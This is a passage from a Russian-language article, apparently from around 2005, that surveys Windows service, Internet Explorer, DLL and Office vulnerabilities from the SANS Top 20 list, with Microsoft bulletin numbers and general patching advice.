- Exchange SMTP Service (MS05‑021);
- Message Queuing Service (MS05‑017);
- License Logging Service (MS05‑010);
- WINS Service (MS04‑045);
- NNTP Service (MS04‑036);
- NetDDE Service (MS04‑031);
- Task Scheduler (MS04‑022).
Уязвимости большинства из перечисленных служб реализуются посредством удаленного выполнения кода либо отказа в обслуживании. Не вдаваясь в технические подробности, еще раз отметим, что абсолютное большинство из вышеперечисленных уязвимостей служб эксплуатируется по механизму переполнения буфера. Переполнение буфера (buffer overflows) на сегодняшний день является самой распространенной уязвимостью в области безопасности ПО. Уязвимость подобного рода широко используется в механизмах проникновения компьютерных червей, таких, например, как CodeRed, Slammer, Lovesan, Zotob и т. д. Помимо червей, уязвимости на переполнение буфера активно используются и для организации атак типа DoS (Denial of Service - отказ в обслуживании), в частности DDoS (Distributed - распределительный), поэтому сомневаться в силе и могуществе данной уязвимости просто не имеет смысла.
Рассмотрим подробнее особенности уязвимостей некоторых служб из вышеупомянутого списка.
- Print Spooler Service (MS05‑043). Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании или выполнить произвольный код на целевой системе. Уязвимость существует из‑за отсутствия проверки длины буфера в процессе spoolsv.exe. Удаленный пользователь может послать сервису специально сформированный пакет, вызвать переполнение буфера и выполнить произвольный код на целевой системе или вызвать отказ в обслуживании. Уязвимые системы: Microsoft Windows 2000, XP, 2003.
- Plug and Play Service (MS05‑047, MS05‑039). Уязвимость стандарта Plug and Play делает возможным удаленный запуск программного кода и несанкционированное локальное расширение полномочий. Описание: несколько уязвимостей форматной строки обнаружены при вызове функции wsprintfW() в библиотеке UMPNPMGR.DLL службы Plug and Play. В двух случаях проверка подлинности входных данных производится посредством сравнения соответствия ключу реестра HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnum. Хотя вся ветка реестра защищена от записи для непривилегированных пользователей, злоумышленник может с помощью специально сформированной строки, содержащей произвольное количество символов обратной черты, обойти проверку подлинности. В Windows 2000, без установленного исправления MS05‑039, удаленный пользователь может без процедуры аутентификации получить доступ к интерфейсу UMPNPMGR посредством именованного канала конечных RPC‑точек: PIPEbrowser, PIPEsrvsvc и PIPEwkssvc. Если исправление установлено, для успешной эксплуатации уязвимости злоумышленнику потребуется авторизация. Уязвимость в Microsoft Windows XP SP2 может быть эксплуатирована лишь локальным авторизованным пользователем. Уязвимые системы: Microsoft Windows 2000 SP4, Microsoft Windows XP SP1, SP2.
- Server Message Block Service (MS05‑027, MS05‑011) - выполнение произвольного кода в Microsoft Server Message Block. Уровень опасности - критический. Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. Уязвимость существует из‑за недостаточной проверки входных SMB‑пакетов. Удаленный пользователь может с помощью специально сформированного SMB‑пакета выполнить произвольный код на целевой системе. Уязвимые операционные системы: Microsoft Windows 2000, XP, 2003.
- Exchange SMTP Service (MS05‑021). Уязвимость Exchange Server может привести к запуску произвольного кода. Уязвимость существует в сервисе Internet Mail почтового сервера Exchange Server 5.5 и Exchange 2000 Server и может позволить нападающему установить соединение с портом SMTP этого сервера и отправить специальным образом расширенный вербальный запрос, который приведет к выделению под него большого объема памяти. Это может привести к падению сервиса Internet Mail или к отказу пакета в работе по причине недостаточного объема доступной памяти. Кроме того, в Exchange 2000 Server уязвимость позволяет атакующему, при условии создания тщательно подобранной последовательности данных, вызвать переполнение буфера, которое может привести к возможности запуска вредоносных программ в контексте зоны безопасности сервиса SMTP. Для предотвращения возможности проведения атаки можно воспользоваться специальными программами, фильтрующими SMTP‑трафик перед отправкой его на Exchange Server. Как сообщает Microsoft, система Exchange Server 2003 свободна от данной уязвимости. Уязвимости подвержены компьютеры, на которых запущены Microsoft Exchange Server 5.5, Service Pack 4 или Microsoft Exchange 2000 Server, Service Pack 3.
- WINS Service (MS04‑045) (Microsoft Windows Internet Naming Service). Проблема связана с некорректной проверкой определенных параметров запросов, в результате чего может произойти выполнение произвольного вредоносного кода на удаленном ПК. Дыра есть в операционных системах Windows NT, 2000, Server 2003 (в том числе 64‑битной модификации).
- NNTP Service (MS04‑036). Удаленный пользователь может представить специально обработанное, чрезмерно длинное сообщение, чтобы вызвать переполнение буфера в NNTP‑компоненте (Network News Transfer Protocol). Успешная эксплуатация позволяет выполнить произвольный код на целевой системе, в которой используется NNTP. Уязвимость обнаружена в серверных
версиях Windows NT/2000/2003.
- NetDDE Service (MS04‑031). Переполнение буфера обнаружено в NetDDE‑службе. Уязвимость позволяет удаленному атакующему выполнить на уязвимой системе произвольный код с SYSTEM‑привилегиями. Служба NetDDE отключена по умолчанию. Опасность - средняя. Уязвимые системы: Microsoft Windows NT Server 4.0 Service Pack 6a, Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6, Microsoft Windows 2000 Service Pack 3 и Microsoft Windows 2000 Service Pack 4, Microsoft Windows XP и Microsoft Windows XP
Service Pack 1, Microsoft Windows XP 64‑Bit Edition Service Pack 1, Microsoft Windows XP 64‑Bit Edition Version 2003, Microsoft Windows Server 2003, Microsoft Windows Server 2003 64‑Bit Edition.
Подводя итог, совершенно очевидно, что избежать эксплуатации уязвимостей можно: достаточно лишь установить соответствующе заплатки безопасности с официального сайта Microsoft. Совершенно очевидно и другое: в информационной безопасности есть такое определение, как "окно опасности" (извините за некоторую тавтологию). Термин подразумевает под собой время с момента обнаружения конкретной уязвимости до момента выхода и установки в уязвимую систему соответствующего обновления. Так вот, очень часто это самое окно оказывается недопустимо большим, и тогда возникает закономерный риторический вопрос: а имеет ли смысл устанавливать заплатки вообще? Поразмыслив таким образом некоторое время, приходишь к некому рационалистическому компромиссу: лучше поздно, чем никогда. Яркое подтверждение тому - червь MS Blast (эксплуатирует уязвимость в службе LSASS), который и поныне можно подцепить без второго сервис‑пака.
IE - генератор зла?!Оценив количество обновлений народного браузера в контексте интернет‑безопасности, иначе, чем генератором зла, IE назвать достаточно трудно. Посудите сами:
- Cumulative Security Update for Internet Explorer (MS05‑052);
- Cumulative Security Update for Internet Explorer (MS05‑038);
- JView Profile Remote Code Execution (MS05‑037);
- Cumulative Security Update for Internet Explorer (MS05‑025);
- Cumulative Security Update for Internet Explorer (MS05‑020);
- Cumulative Security Update for Internet Explorer (MS05‑014);
- Windows Shell Remote Code Execution (MS05‑008);
- Cumulative Security Update for Internet Explorer (MS04‑040);
- Cumulative Security Update for Internet Explorer (MS04‑038);
- Cumulative Security Update for Internet Explorer (MS04‑025).
При всех "наездах" на IE, выражающихся в многочисленных отчетах об обнаруженных уязвимостях, необходимо признать, что корпорация Microsoft обеспечивает‑таки какую‑никакую техническую поддержку продукта, регулярно выпуская соответствующие обновления. Очередной раз критикуя браузер, который тем не менее по сей день остается одним из самых популярных продуктов в своем роде, необходимо помнить, что немалое количество обнаруженных уязвимостей IE - это не изъян самого продукта, а результат пристального внимания к IE со стороны киберсообщества (по крайней мере это официальная позиция Microsoft).
Если на ваш IE не установлены необходимые пакеты обновлений, то, чтобы подцепить какую‑либо заразу, вам вовсе не обязательно что‑либо скачивать или запускать. Для заражения достаточно просто посетить страницу со злонамеренным кодом.
Есть ли выход и как снизить риск поражения без установки соответствующих заплаток? Абсолютное большинство уязвимостей данного рода базируется на обработке компонентов ActiveX и активных сценариев. Для снижения риска рекомендуется поставить высокий уровень безопасности (Сервис ► Свойства обозревателя ► Безопасность)IE. Оптимальным вариантом будет ручная настройка зон безопасности (кнопка Другой),что поможет избежать некорректного отображения содержания некоторых страниц.
Библиотеки Windows.Для нормальной работы многих программ необходимы определенные библиотеки, представленные файлами с расширением DLL (Dynamic Link Library). На сегодняшний день уязвимости библиотек Windows являют собой достаточно серьезную угрозу, так как с помощью уязвимостей подобного рода возможно осуществление достаточно экзотических атак. В качестве примера можно привести поражение системы при запуске файла формата JPEG. Уязвимости библиотек более чем активно используются вредоносным ПО для установки себя в систему жертвы (так, троянский конь Trojan Phel.A для заражения системы использует уязвимость в HTML Help Library).
По классификации SANS, уязвимости библиотек Windows сгруппированы следующим образом:
- Windows Graphics Rendering Engine Remote Code Execution (MS05‑053);
- Microsoft DirectShow Remote Code Execution (MS05‑050);
- Microsoft Color Management Module Remote Code Execution (MS05‑036);
- HTML Help Remote Code Execution (MS05‑026, MS05‑001, MS04‑023);
- Web View Remote Code Execution (MS05‑024);
- Windows Shell Remote Command Execution (MS05‑049, MS05‑016, MS04‑037,
MS04‑024);
- Windows Hyperlink Object Library Remote Code Execution (MS05‑015);
- PNG Image Processing Remote Code Execution (MS05‑009);
- Cursor and Icon Processing Remote Code Execution (MS05‑002);
- Windows Compressed Folder Remote Code Execution (MS04‑034);
- JPEG Processing Remote Code Execution (MS04‑028).
Подробное описание вышеперечисленных уязвимостей можно найти по адресу http://www.sans.org/top20.
Последним пунктом раздела уязвимостей Windows‑систем являются Microsoft Office и Outlook Express. Им соответствуют следующие записи отчета SANS:
- Cumulative Security Update for Outlook Express (MS05‑030);
- Microsoft OLE and COM Remote Code Execution (MS05‑012);
- Microsoft Office XP Remote Code Execution (MS05‑005).
Технические подробности данных уязвимостей можно найти на сайте SANS, адрес которого был приведен выше.